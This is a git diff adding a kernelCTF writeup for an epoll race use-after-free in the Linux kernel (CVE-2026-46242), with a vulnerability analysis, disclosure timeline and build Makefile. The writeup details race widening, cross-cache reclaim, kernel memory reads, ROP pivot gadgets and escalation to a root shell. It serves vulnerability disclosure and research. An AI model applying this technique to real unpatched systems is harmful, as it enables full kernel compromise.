diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/docs/exploit.md new file mode 100644 index 000000000..d0ea246ca --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/docs/exploit.md @@ -0,0 +1,500 @@ +# Exploit + +This is the writeup for the kernelCTF exploit of CVE-2026-46242 ("Bad Epoll"). +The exploit source is +[`exploit/lts-6.12.67/exploit.cpp`](../exploit/lts-6.12.67/exploit.cpp), and the +sections here follow the `// @step(name=...)` markers in that source. + +The two targets lts-6.12.67 and cos-121-18867.294.100 share one exploit.cpp. +This writeup follows LTS and notes the COS differences only where they +matter. + +**Naming.** `ep_X` is an epoll fd, `epoll_X` its `struct eventpoll`, and `file_X` +its `struct file`, for `X` in [`race_target`, `race_waiter`, `uaf_target`, +`uaf_waiter`]. + +## Exploit Overview + +The bug is a close-vs-close race in epoll's file-release path (root cause in +[vulnerability.md](./vulnerability.md)). The exploit turns it into an 8-byte +write of `0` at offset 160 of a freed kmalloc-192 `struct eventpoll` (the Race +UAF write-0). It aims that write at a watched eventpoll to +leave a dangling `struct file`, cross-caches the file's slab page into a pipe to +control its bytes, leaks kernel memory through `/proc/self/fdinfo`, and finally +hijacks `file->f_op->poll` for RIP control and a ROP chain to root. + +- [KASLR Leak](#kaslr-leak) +- [Triggering the Race Condition](#triggering-the-race-condition) +- [Escalating to a struct file UAF](#escalating-to-a-struct-file-uaf) +- [Cross-Cache Attack](#cross-cache-attack) +- [Constrained AAR](#constrained-aar) +- [AAR](#aar) +- [RIP Control and ROP](#rip-control-and-rop) +- [Stability](#stability) + +## KASLR Leak + +The exploit leaks the kernel base with a prefetch side-channel +([Gruss et al., CCS 2016](https://gruss.cc/files/prefetch.pdf), +[EntryBleed](https://www.willsroot.io/2022/12/entrybleed.html)), using libxdk's +`leak_kaslr_base(GetKernelPageCount())` and confirming it with +`check_kaslr_base()`. `GetKernelPageCount()` bounds the scan range. + +## Triggering the Race Condition + +`ep_race_waiter` watches `ep_race_target` (`EPOLL_CTL_ADD`), creating an epitem +whose `fllink.pprev` points at `&epoll_race_target->refs.first`, offset 160 of +the kmalloc-192 object. Two CPU-pinned `close()` calls then race (root cause in +[vulnerability.md](./vulnerability.md)). + +``` + CPU 0 racer CPU 1 main + ================================================ ================================================ + + timerfd_settime(.., TFD_TIMER_ABSTIME) + + // CPU 1 spins close(dup(ep_race_target)) to write f_count, + // invalidating CPU 0's cache line containing f_op + close(ep_race_waiter) close(dup(ep_race_target)) + __ep_remove(epi) close(dup(ep_race_target)) + spin_lock(&file_race_target->f_lock) close(dup(ep_race_target)) + ... + ... + WRITE_ONCE(file_race_target->f_ep, NULL) ... + ======== RACE WINDOW BEGIN ======== ... + ... + is_file_epoll(file_race_target) close(dup(ep_race_target)) + reads f_op -> CACHE MISS, CPU 0 stalls close(dup(ep_race_target)) + + timerfd expiry IRQ on CPU 0 + handler wakes epoll waiters close(ep_race_target) + | __fput(file_race_target) + | eventpoll_release() // lockless fast path + | READ f_ep == NULL -> return + | ep_free + | kfree(epoll_race_target) // FREED + IRQ handler returns + + ======== RACE WINDOW END ======== + hlist_del_rcu(&epi->fllink) + *epi->fllink.pprev = 0 => freed epoll_race_target->refs.first = 0 // offset 160 of kmalloc-192, Race UAF write-0 + + spin_unlock(&file_race_target->f_lock) +``` + +CPU 1's `eventpoll_release()` takes the lockless fast path once CPU 0 has +cleared `f_ep`, so `epoll_race_target` is freed before CPU 0 reaches +`hlist_del_rcu()`. The trailing `hlist_del_rcu()` then writes through the +dangling `epi->fllink.pprev` into that freed eventpoll. This is the Race UAF +write-0 that the rest of the exploit builds on, an 8-byte write of `0` at offset +160 (`epoll_race_target->refs.first`) of a freed kmalloc-192 object. + +**Widening the window.** The race window is too short (about 10 instructions) to +trigger. The race window is even narrower on the LTS target. `__ep_remove()` takes +`spin_lock(&file_race_target->f_lock)` right before the window, and `f_lock` +shares a 64-byte cache-line with `f_op`, so the `is_file_epoll()` read of `f_op` +at the window is usually a cache hit. We use two techniques from Jann Horn's +[*Racing against the clock*](https://projectzero.google/2022/03/racing-against-clock-hitting-tiny.html) +widen it. + +- **False sharing.** `f_count` and `f_op` of `file_race_target` sit on the same + 64-byte cache-line. CPU 1 spins `close(dup(ep_race_target))` to write + `f_count`, invalidating CPU 0's copy of the cache-line, so the racer's + `is_file_epoll()` read of `f_op` stalls on a cache miss inside the window. + `close(dup())` only does an atomic `f_count` increment/decrement and never takes + `file->f_lock`, so it runs concurrently with `__ep_remove()`, which holds + `f_lock` across the whole window, and keeps the cache-line bouncing throughout. +- **timerfd interrupt.** A shared `timerfd` has about 3000 async epoll waiters + attached (`RACE_ENQUEUE_FORKS` x `RACE_WAITER_EPFDS` x `RACE_WAITER_DUPS`). When + it expires, the wakeup walks the whole waiter queue, which stalls the racer's + `close()` and stretches the race window. The IRQ still has to fire inside that + tiny window, which the next part handles. + +**Adaptive launch-ahead timing search.** False sharing keeps the cache-line bouncing, +but the racer still has to fire the timerfd IRQ inside the tiny window between +`WRITE_ONCE(f_ep, NULL)` and `hlist_del_rcu()`. There are two unknowns, i) when to fire and +ii) how far into `close()` the IRQ should land. The exploit solves them +separately. + +- The main thread measures its own false-sharing burst each round (`time_false_sharing`, the +wall-clock span of the `close(dup())` loop). The racer arms an absolute-time +timerfd to fire at the middle of that burst (`time_interrupt_fire = now + +time_false_sharing / 2`), so its `close()` overlaps the burst and the `f_op` read +stalls. It then starts `close()` a chosen `launch_ahead` ns before the fire, so +the IRQ lands `launch_ahead` after `close()` begins. Where the race window sits inside +`close()` depends on the CPU, so the racer searches for the right `launch_ahead` +rather than hard-coding it. + +- The racer thread measures how long each `close()` takes. A `close()` that takes longer than +`RACE_CLOSE_INTR_THRESHOLD` cycles means the IRQ fired inside it, which is exactly +the outcome we want. The racer uses this signal to repeatedly cycle through two +phases. In the stat phase (`PHASE_STAT`) it iterates `launch_ahead` over the +`[RACE_AHEAD_LO, RACE_AHEAD_HI]` range and learns which values land the IRQ inside +`close()`, then locks onto the best range. In the exec phase (`PHASE_EXEC`) it +chooses a random `launch_ahead` value from that range, hoping the IRQ fires inside +the race window. + +Using the race-win oracle described in the next section, we find that false +sharing reduces the average race retries by more than 2x. + +NOTE: On COS, the `struct file` layout places `f_op` and `f_count` on different +cache lines, so false sharing was expected to be ineffective. Empirically, +however, it still improves the race win rate, so we keep the same logic. + + +## Escalating to a struct file UAF + +The UAF write first needs a worthwhile target. We find that zeroing the +`refs` field of an eventpoll that another eventpoll watches yields a far more +powerful primitive, so the exploit targets such an eventpoll. The result is a +dangling pointer to a `struct file`, which later drives both arbitrary read and +RIP control. + +A second pair `ep_uaf_target` / `ep_uaf_waiter` is used, separate from the race +pair. Right after the racer frees `epoll_race_target`, and before +`hlist_del_rcu()` lands, `ep_uaf_target = epoll_create1()` allocates a new +eventpoll `epoll_uaf_target` (kmalloc-192) and `struct file` `file_uaf_target` +(filp), with `epoll_uaf_target` reclaiming the just-freed slot (a same-cache +reclaim `epoll_race_target` -> `epoll_uaf_target`). `ep_uaf_waiter` then watches +it through `EPOLL_CTL_ADD`. The UAF write corrupts `epoll_uaf_target`, and the +later cross-cache attack targets `file_uaf_target`. + +Because the watched target is itself an eventpoll, `attach_epitem()` sets +`file_uaf_target->f_ep = &epoll_uaf_target->refs` and links `epoll_uaf_waiter`'s +epitem into that list with `hlist_add_head_rcu()`. The result is the two-way +hlist link the UAF write is aimed at. + +``` + _________________________ _________________________ +| epoll_uaf_target |------ refs.first ------>| epitem | +| (struct eventpoll) |<---- fllink.pprev ------| (in epoll_uaf_waiter) | +| | | fllink (.next = NULL) | +| refs.first (off 160) | | fllink.pprev | +|_________________________| | ffd.file | + ^ |_________________________| + | | + | | ffd.file + | | + | v + | _________________________ + | | file_uaf_target | + | | (struct file) | + '---------------------- f_ep ---------------------| f_ep | + |_________________________| +``` + +The UAF write `hlist_del_rcu(&epi->fllink)` zeroes `refs.first`, cutting +only the forward link. `epoll_uaf_target` now looks unwatched, yet the epitem's +`fllink.pprev` and `ffd.file` still point at the live `epoll_uaf_target` and +`file_uaf_target`. `close(ep_uaf_target)` then runs `__fput()`, where +`eventpoll_release()` sees `f_ep` (= `&epoll_uaf_target->refs`) is non-NULL and +calls `eventpoll_release_file()`, which walks the now-empty list and unlinks +nothing. So `epoll_uaf_waiter`'s epitem is never cleaned up. `epoll_uaf_target` and +`file_uaf_target` are both freed (`epi->ffd.file` never raised the file's +`f_count`, so nothing holds it), and the epitem keeps pointing into both, two +dangling pointers `epi->ffd.file` (the freed file) and `epi->fllink.pprev` (the +freed eventpoll). + +``` + _________________________ +| epitem | . - - - - - - - - - - - - . +| (in epoll_uaf_waiter) | : FREED : +| fllink.pprev |---dangling->: epoll_uaf_target : +| ffd.file |-------+ : refs.first = 0 (freed) : +|_________________________| | . - - - - - - - - - - - - . + | + dangling . - - - - - - - - - - - - . + | : FREED : + '---->: file_uaf_target : + : (struct file, freed) : + . - - - - - - - - - - - - . +``` + +The exploit drives the dangling `struct file` (`epi->ffd.file`). This dangling +file is a side-effect of the UAF write. From here on it is +independent of the bug, and unrelated to the separate `struct file` UAF in +[vulnerability.md](./vulnerability.md) that the exploit does not use. + +**Race-win oracle.** The window is narrow, so most attempts miss. We want to +detect a win without any side-effect (e.g., panic), so a miss retries fast by +skipping the rest of the exploit. For this we build a depth-3 nested epoll chain +(`ep_race_fds[3] -> [2] -> [1] -> [0]`) and run `epoll_ctl(ep_uaf_target, ADD, +ep_race_fds[3])`. Its return value differs by race outcome, and that is the +oracle. The reason is `ep_loop_check()`, shown below. + +```c +static int ep_loop_check(struct eventpoll *ep, struct eventpoll *to) +/* ep = epoll_uaf_target, to = eventpoll of ep_race_fds[3] */ +{ + ... + depth = ep_loop_check_proc(to, 0); + if (depth > EP_MAX_NESTS) + return -1; + ... + upwards_depth = ep_get_upwards_depth_proc(ep, 0); + + return (depth+1+upwards_depth > EP_MAX_NESTS) ? -1 : 0; +} +``` + +The added chain (`ep_race_fds`) gives `depth == 3` and the new edge adds 1, so only +`upwards_depth = ep_get_upwards_depth_proc(epoll_uaf_target)` (which walks +`epoll_uaf_target->refs`) differs between the two outcomes. + +- Win. `refs.first == 0`, so `ep_get_upwards_depth_proc()` walks an empty list, + treats `epoll_uaf_target` as having no waiter, and returns `upwards_depth == + 0`. Then `3+1+0 == EP_MAX_NESTS` (not greater), `ep_loop_check()` returns 0, + and `epoll_ctl()` returns 0. +- Miss. `refs.first` still links `epoll_uaf_waiter`, so + `ep_get_upwards_depth_proc()` returns `upwards_depth == 1`. Then + `3+1+1 > EP_MAX_NESTS`, `ep_loop_check()` returns -1, and `epoll_ctl()` + returns `-ELOOP`. + +On a miss (`-ELOOP`), the exploit goes back to +[Triggering the Race Condition](#triggering-the-race-condition) for another +attempt. + +The interleaving below recaps the whole step, a simplified close-vs-close race +(from [Triggering the Race Condition](#triggering-the-race-condition)) plus the +same-cache reclaim that lands the UAF write on the reclaimed +`epoll_uaf_target`. + +``` + CPU 0 racer CPU 1 main + =============================================== ================================================ + ep_race_fds[3] -ADD-> [2] -ADD-> [1] -ADD-> [0] + + race_retry: + ep_uaf_waiter = epoll_create1() + close(ep_race_waiter) close(dup(ep_race_target)) + __ep_remove(epi) ... + WRITE_ONCE(file_race_target->f_ep, NULL) ... + ======== RACE WINDOW BEGIN ======== ... + ... + ... + close(dup(ep_race_target)) + + close(ep_race_target) + free epoll_race_target + + ep_uaf_target = epoll_create1() + // same-cache reclaim (epoll_race_target) + alloc epoll_uaf_target + alloc file_uaf_target + + epoll_ctl(ep_uaf_waiter, ADD, ep_uaf_target) + alloc epitem + // epoll_uaf_target->refs.first = &epitem->fllink + ======== RACE WINDOW END ======== + hlist_del_rcu(&epi->fllink) + *epi->fllink.pprev = 0 ------------------------> epoll_uaf_target->refs.first = 0 + + epoll_ctl(ep_uaf_target, ADD, ep_race_fds[3]) = 0 or -ELOOP + if 0: race win, continue to next step + if -ELOOP: goto race_retry +``` + +## Cross-Cache Attack + +`ep_uaf_waiter`'s `epitem->ffd.file` is now a dangling pointer to a `struct +file` that is about to be freed. The file sits in the `filp` cache, and its +bytes are not under our control yet. The plan is to discard the file's slab +page to the buddy allocator and reclaim it as a `pipe_buffer` page. + +**Preparation.** This dangling file was allocated back at +`ep_uaf_target = epoll_create1()`. To reliably discard the `filp` slab to the +buddy allocator, file objects are allocated consecutively before +and after that `epoll_create1()` (`cross_cache_enclosing_objs`, using +`open("/dev/null")`). To fill `filp`'s per-CPU partial slabs up to `cpu_partial`, +`cross_cache_cpu_partial_objs` are also allocated by repeating +`open("/dev/null")`. + +As noted in the previous section, the cross-cache below runs only when +`ep_uaf_target` is corrupted, as reported by the race-win oracle. On a win the +exploit does the following. + +- `close(ep_uaf_target)` frees this dangling file. Closing it along with every + `cross_cache_enclosing_objs` fd that was allocated alongside it makes the slab + page holding the victim file object (the victim slab) an empty slab. +- Freeing the `cross_cache_cpu_partial_objs` objects one per slab turns each + into a partial slab that fills the per-CPU partial list, until the + `cpu_partial` limit is exceeded and the victim slab is pushed out to the + buddy allocator + ([Cross-X (CCS 2025)](https://dl.acm.org/doi/10.1145/3719027.3765152)). +- The `filp` slab is `SLAB_TYPESAFE_BY_RCU` (see + [vulnerability.md](./vulnerability.md)), so `free_slab()` defers the empty + page's discard to RCU. On LTS the page is freed by a single `rcu_free_slab` + callback, so the exploit waits once (`usleep(CROSS_CACHE_DRAIN_US)`, 10 ms) for + that callback to run in softirq context and discard the page to the buddy + allocator. +- Writing pages into `cross_cache_pipefd` reallocates the freed victim slab page + as `pipe_buffer` backing pages + ([CVE-2023-4622](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4622_lts/docs/exploit.md#reclaim-skb-with-pipe-page-buffer), + [Page Spray (USENIX Security 24)](https://www.usenix.org/conference/usenixsecurity24/presentation/guo-ziyi)). The pipe is first grown with + `F_SETPIPE_SZ` so it can hold all `CROSS_CACHE_NUM_RECLAIM_PAGE` (256) pages, + since a default pipe holds only 16. Reclaiming 256 pages raises the chance one + of them lands on the freed `filp` page. From then on, reading then writing + `cross_cache_pipefd` repeatedly gives full control over what the dangling + `epi->ffd.file` points at, so a fake `struct file` can be built. + +**Difference on COS.** On COS the `struct file` is 256 bytes (192 on LTS), so we +adjusted the cross-cache spray counts (`cpu_partial_objs`, `enclosing_objs`). +The reclaim timing also differs, because `struct file` is freed differently in COS. +Each file is freed by its own `call_rcu(file_free_rcu)`, so the page +frees only after a whole batch of those callbacks runs, which is later and more +variable than the single `rcu_free_slab` on LTS. To stay robust to that, COS does +not use one fixed wait. It spreads the 256 reclaim writes across about 1s +(`CROSS_CACHE_DRAIN_TOTAL_US`, about 3.9 ms per page), so some writes always land +after the page reaches the buddy allocator no matter when the batch completes. + +## Constrained AAR + +After the cross-cache, the bytes the dangling `epi->ffd.file` points at are +fully under our control. Reading `/proc/self/fdinfo/` turns that +control into a kernel read, because it calls `ep_show_fdinfo()` on the dangling +file. + +```c +static void ep_show_fdinfo(struct seq_file *m, struct file *f) +{ + struct eventpoll *ep = f->private_data; + ... + struct inode *inode = file_inode(epi->ffd.file); + seq_printf(m, "... ino:%lx sdev:%x\n", ..., + inode->i_ino, inode->i_sb->s_dev); + ... +} +``` +`ep_show_fdinfo()` follows `epi->ffd.file->f_inode` and prints `inode->i_ino` and +`inode->i_sb->s_dev`. Since we control the dangling file, we set its `f_inode` to +any address, so both printed values are read from an `inode` we choose. + +**The constrained 8-byte read.** `leak_constrained_aar_8b(addr)` forges +`f_inode = addr - off(inode, i_ino)` through `fake_file_spray` (`off(T, f)` is +the byte offset of field `f` in `T`), so `inode->i_ino` lands on `addr`. It reads +the fdinfo output back and parses the `ino` field (`parse_hex_after_needle`), +yielding the 8 bytes at `addr`. The read is constrained because the same +`seq_printf` also dereferences `inode->i_sb->s_dev`, so `inode->i_sb` (which sits +at `addr - off(inode, i_ino) + off(inode, i_sb)`) must be a valid pointer or the +kernel panics. So `addr` is readable only when a valid kernel pointer happens to +sit there. + +**Walking the task tree.** Even under this constraint, the `task_struct` layout +lets the exploit read the fields it needs, `comm` and the `children` / `sibling` +list pointers, because for each of those offsets the constraint address lands on +a neighboring valid pointer. Two reads build on this. + +- The exploit first reads `init_task.comm`. If it is not `"swapper"`, the + cross-cache reclaim grabbed the wrong page, so the exploit goes back to + [Triggering the Race Condition](#triggering-the-race-condition) and redoes the + race and cross-cache. +- It then walks the process tree from `init_task` through `task->children.prev` + and `task->sibling.prev` (`leak_find_task_by_comm`, a DFS) to find our own + process, the task whose `comm` is `"exploit"`. + +The result is the address of our `task_struct`, which the next section turns into +an unconstrained read. + +## AAR + +**Upgrading to an unconstrained read.** The 8-byte read only reaches addresses +that happen to have a valid pointer at `addr - off(inode, i_ino) + off(inode, +i_sb)`. The 4-byte read via the `sdev` field drops that limit by routing `i_sb` +through a value we fully control. `fake_file_spray` sets +`f_inode = ¤t->sas_ss_sp - off(inode, i_sb)` once, so `inode->i_sb` (at +`f_inode + off(inode, i_sb)`) reads `current->sas_ss_sp`, a per-task field +that `sigaltstack()` lets us set to any value. `current` here is the +`task_struct` found in the previous section. + +For each read, `leak_aar_4b(addr)` calls `sigaltstack()` with +`ss_sp = addr - off(super_block, s_dev)` (which is `0x10`), so +`inode->i_sb->s_dev` reads the 4 bytes at `addr`. Nothing but `addr` itself has +to be a valid pointer, so this is an unconstrained 4-byte read. + +**Leaking the address of the ROP page.** The exploit prepares a separate pipe +`rop_pipe`, whose pre-allocated backing page later holds the ROP payload and the +`f_op` poll function pointer ([RIP Control and ROP](#rip-control-and-rop)). It then resolves that backing +page's kernel address as follows, walking from our `task_struct` with the +unconstrained read (`leak_resolve_rop_page`). + +It follows `task->files`, `files->fdt`, `fdt->fd[rop_pipe]`, the file's +`private_data` (a `pipe_inode_info`), `pipe_inode_info->bufs` (the `pipe_buffer` array), and +`bufs[0].page`. It also reads `vmemmap_base` and `page_offset_base` through the +same AAR, then `page_to_virt(page)` converts the `struct page` to its kernel +virtual address (`pfn = (page - vmemmap_base) / sizeof(struct page)`, +`virt = page_offset_base + pfn * PAGE_SIZE`). + +The result is `virt`, the kernel virtual address of `rop_pipe`'s backing page. +The next section forges `f_op = virt` and places the ROP payload and `poll` function pointer in that +page. + +## RIP Control and ROP + +`epoll_wait(ep_uaf_waiter)` runs `ep_item_poll()` on the dangling waiter's +epitem, which calls `vfs_poll()` and reaches the indirect call +`file->f_op->poll(file, pt)` on the forged `struct file`. + +```c +static __poll_t ep_item_poll(const struct epitem *epi, poll_table *pt, int depth) +{ + struct file *file = epi_fget(epi); /* rdx contains file->f_count + 1 */ + ... + if (!is_file_epoll(file)) + res = vfs_poll(file, pt); /* file->f_op->poll(file, pt) */ + ... +} +static inline __poll_t vfs_poll(struct file *file, struct poll_table_struct *pt) +{ + if (unlikely(!file->f_op->poll)) + return DEFAULT_POLLMASK; + return file->f_op->poll(file, pt); +} +``` + +**Hijacking the indirect call.** `rip_pivot_and_fire` forges the dangling file +with `fake_file_spray(virt - 1, virt, NOT_USED)`, setting `f_op = virt`. So +`vfs_poll()` reads `file->f_op->poll` from `virt + off(file_operations, poll)`, +where the page holds the first gadget `PIVOT1`, and the indirect call lands on +`PIVOT1`. + +**Setting `rdx` to `virt`.** At the hijacked call, `rdx` holds +`file->f_count + 1` (`epi_fget()` raised the count by one inside +`ep_item_poll()`, confirmed by debugging). The forged `f_count = virt - 1` makes +`rdx == virt` when `PIVOT1` begins. + +**Stack pivot on LTS.** Four gadgets run in order to pivot `rsp` onto the ROP chain +parked at `virt + ADDR_ROP`. + +``` +PIVOT1: mov rax,[rdx+0x38] ; mov [rsp+0x20],rdx ; mov rdi,rdx ; mov rax,[rax] ; call rax +PIVOT2: mov rax,[rdi] ; mov rbx,rdi ; mov r13,[rdi+0x18] ; mov r12,[rdi+0x8] ; mov rax,[rax+0x148] ; call rax +PIVOT3: mov rax,[rdi+0x70] ; mov rcx,[rdi+0xb8] ; mov rdx,[rdi+0x80] ; mov rax,[rax+0x10] ; mov rdi,rcx ; jmp rax +PIVOT4: push [rcx] ; rcr byte [rbx+0x5d],0x41 ; pop rsp ; ret +``` + +`PIVOT1` runs with `rdx == virt`, `PIVOT2` sets `rbx`, `PIVOT3` sets `rcx`, and +`PIVOT4` (`push [rcx]` then `pop rsp` then `ret`) pivots `rsp` onto the ROP chain. + +**Stack pivot on COS.** COS differs only in using a simpler 2-gadget pivot, plus a +ret-slide to the ROP chain. `PIVOT1` is reached with `rdx == virt`, loads `PIVOT2` +from `[rdx+0x320]`, and jumps to it. `PIVOT2` (`push rdi` then `pop rsp` then +`ret`) pivots `rsp` to the page base. + +``` +PIVOT1: mov rax,[rdx+0x320] ; mov rdi,rdx ; jmp rax +PIVOT2: push rdi ; pop rsp ; ret +``` + +**Privilege escalation.** The ROP chain, built with libxdk, does +`commit_creds(&init_cred)` and `switch_task_namespaces(find_task_by_vpid(1), +&init_nsproxy)`, then returns to userspace, where `rip_post_exploit()` spawns a +root shell with `execve`. + +## Stability + +The exploit retries the race/cross-cache loop until it wins or the +5-minute wall-clock budget imposed by the kernelCTF rules expires. On the +kernelCTF CI runners, it reaches root in about 99% of LTS runs and 98% of COS +runs. All failures were KASLR-leak failures: on one specific CPU model, AMD +EPYC 9V45, the prefetch leak occasionally returns an incorrect base, causing +the exploit to proceed with the wrong base and then panic. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/docs/vulnerability.md new file mode 100644 index 000000000..de01897fd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/docs/vulnerability.md @@ -0,0 +1,128 @@ +# Vulnerability + +CVE-2026-46242 ("Bad Epoll") is a race condition that leads to use-after-free in +epoll's file-release path. When one eventpoll fd monitors another eventpoll fd, closing +both fds concurrently triggers a race in `fs/eventpoll.c`. Once `__ep_remove()` runs +`WRITE_ONCE(file->f_ep, NULL)`, a concurrent `__fput()` on the same target file +sees `f_ep == NULL` on the lockless fast path of `eventpoll_release()`, skips +`eventpoll_release_file()`, and goes on to free the target's `eventpoll` and +`file`. `__ep_remove()` keeps writing through pointers into those freed objects, +which is the use-after-free. + +## Thread interleaving + +Two epoll fds `ep_waiter` and `ep_target` are created, with `ep_waiter` +monitoring `ep_target`. For each fd `ep_X`, `epoll_X` is its `struct eventpoll` +and `file_X` its `struct file`. The bug needs this interleaving: + +``` + CPU 1, Thread A (close ep_waiter) CPU 0, Thread B (close ep_target, open /dev/null) + =========================== ========================== + ep_eventpoll_release + ep_clear_and_put + mutex_lock(&epoll_waiter->mtx) + ep_remove_safe + __ep_remove + spin_lock(&file_target->f_lock) + WRITE_ONCE(file_target->f_ep, NULL) + __fput + eventpoll_release(file_target) + // lockless fast check! + READ_ONCE(file_target->f_ep) == NULL + return + ep_eventpoll_release + ep_clear_and_put + ep_free + kfree(epoll_target) + file_free + kmem_cache_free(file_target) + // [0] reclaims the freed file_target + open("/dev/null") + // [1] UAF read on the freed file_target + if (!is_file_epoll(file_target)) + to_free = &epoll_target->refs + hlist_del_rcu(&epi->fllink) + // [2] UAF write 0 to freed &epoll_target->refs + *pprev = next + spin_unlock(&file_target->f_lock) + // [3] invalid free of the freed epoll_target + free_ephead(to_free) +``` + +Thread B frees two objects that Thread A's `__ep_remove()` still references, so +the race causes two distinct use-after-frees: + +- **UAF on `struct eventpoll` (write 0 at offset 160 of kmalloc-192).** + `hlist_del_rcu(&epi->fllink)` writes `*pprev = 0` through the dangling + `epi->fllink.pprev`, which points into the freed `&epoll_target->refs` (160 bytes + into the freed eventpoll object). This is the slab-use-after-free write KASAN + reports [2]. + +- **Silent UAF on `struct file`, leading to an invalid free.** `epi->ffd.file` + holds the target file without ever raising its `f_count`, so `__ep_remove()` + keeps operating on the freed (and possibly reclaimed) `file_target` while + holding its `f_lock`. The `is_file_epoll(file)` read is the resulting UAF read + [1]. KASAN does not detect the file UAF even with + [`CONFIG_SLUB_RCU_DEBUG`](https://github.com/torvalds/linux/commit/b8c8ba73c68bb3c3e9dad22f488b86c540c839f9) + because i) `struct file` comes from a `SLAB_TYPESAFE_BY_RCU` cache, and ii) this path is holding a spinlock (`f_lock`). + If the freed file is reclaimed right away as a non-eventpoll file [0], + `free_ephead()` then frees `&epoll_target->refs` into the wrong cache + (kmalloc-192), an invalid free [3]. + + That invalid free is observable only when the freed file object can be reclaimed immediately, + which requires `CONFIG_SLUB_RCU_DEBUG` to be disabled. However, the 6.12 stable tree + never backported the follow-up [`CONFIG_SLUB_RCU_DEBUG` fix](https://github.com/torvalds/linux/commit/56bdf83de7f1151d141e1d020e19cc1c56ff0db4). + As a result, even a KASAN=y and `CONFIG_SLUB_RCU_DEBUG`=n build does not report the + invalid free on 6.12. We therefore disabled KASAN and observed the invalid free through + the WARNING raised by `free_ephead()`. + +Note that holding `file_target->f_lock` (a spinlock) disables preemption on +Thread A's CPU, so Thread B cannot run there during the window. The two threads +must run concurrently on separate CPUs (CPU 0 and CPU 1 above) to trigger the +bug. + +## Requirements to trigger the vulnerability +- Capabilities: NONE +- Kernel configuration: `CONFIG_EPOLL` +- Are user namespaces needed?: No + +## Commit which introduced the vulnerability +- [commit 58c9b016e128 ("epoll: use refcount to reduce ep_mutex contention")](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=58c9b016e12855286370dfb704c08498edbc857a) + +## Commit which fixed the vulnerability +- [commit a6dc643c693 ("eventpoll: fix ep_remove struct eventpoll / struct file UAF +")](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a6dc643c69311677c574a0f17a3f4d66a5f3744b) + +## Affected kernel versions +- 6.4-rc1 - 7.0 + +## Affected component, subsystem +- fs/eventpoll + +## Cause +- Race condition / UAF + +## Relationship to CVE-2026-43074 + +This bug is distinct from CVE-2026-43074 (exploited in exp510, +[PR #380](https://github.com/google/security-research/pull/380)), though both +were introduced by the same [commit 58c9b016e128](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=58c9b016e12855286370dfb704c08498edbc857a). The CVE-2026-43074 fix +([commit 07712db8](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=07712db80857d5d09ae08f3df85a708ecfc3b61f), +mainline 2026-04-02) made the `struct eventpoll` free RCU-deferred. Because +this bug's race window runs with a spinlock held, the `struct eventpoll` +is no longer freed during the window, so the eventpoll UAF disappears. +The `struct file` UAF and the underlying root cause remained until +[this bug's own fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a6dc643c69311677c574a0f17a3f4d66a5f3744b). +Our exploit was finished before the CVE-2026-43074 patch and therefore uses the +eventpoll UAF. + +## Timeline + +| Date | Event | +|------|-------| +| 2026-02-11 | We captured flags on lts-6.12.67 and cos-121-18867.294.100 | +| 2026-02-17 | We reported the bug to security@kernel.org | +| 2026-02-17 | Maintainers proposed a patch prototype, but it was not a correct fix and the discussion then stalled | +| 2026-04-02 | CVE-2026-43074 fix (`07712db8`) landed in mainline, making `struct eventpoll` RCU-freed | +| 2026-04-22 | We re-reported the remaining `struct file` UAF, which was not detected by KASAN | +| 2026-04-24 | The fix for this bug landed in mainline (`a6dc643c693`) | \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/Makefile b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/Makefile new file mode 100644 index 000000000..80c5c21dd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/cos-121-18867.294.100/Makefile @@ -0,0 +1,58 @@ +# +# kernelCTF cos-121-18867.294.100 exploit build. +# +# libxdk is built from the latest google/kernel-research source (cloned on +# first build) and statically linked. The latest tree provides +# leak_kaslr_base() / Target::GetKernelPageCount() etc. that the pinned v0.1 +# release tarball lacks. target_db.kxdb (the auto-detection database) is +# fetched separately and embedded via INCBIN at compile time. +# +# Build prerequisites (host): g++, cmake, make, wget, git, libkeyutils-dev. +# + +KERNELXDK_DIR := kernel-research/libxdk + +CXX ?= g++ +# Target select: the same exploit.cpp is shared across release dirs; each +# Makefile picks its target here. lts dir sets -DTARGET_LTS (the default). +TARGET_DEF ?= -DTARGET_COS +CPPFLAGS ?= -isystem $(KERNELXDK_DIR)/include +CXXFLAGS ?= -std=gnu++17 -static -O2 -Wall +LDFLAGS ?= -static -L$(KERNELXDK_DIR)/lib +LDLIBS ?= -lkernelXDK -lpthread + +TARGET := exploit +SRC := exploit.cpp + +.PHONY: all prerequisites run clean distclean + +all: $(TARGET) + +prerequisites: target_db.kxdb $(KERNELXDK_DIR)/lib/libkernelXDK.a + +$(TARGET): prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(TARGET_DEF) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +exploit_debug: CXXFLAGS += -g +exploit_debug: prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(TARGET_DEF) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +target_db.kxdb: + wget -q -O $@ https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +kernel-research: + git clone --depth 1 https://github.com/google/kernel-research.git $@ + +# Build only the static library target (not the test suite, which pulls extra +# deps); the CMake POST_BUILD step installs it to libxdk/lib/libkernelXDK.a. +$(KERNELXDK_DIR)/lib/libkernelXDK.a: | kernel-research + cd $(KERNELXDK_DIR) && cmake -B build && cmake --build build --target kernelXDK -j$$(nproc) 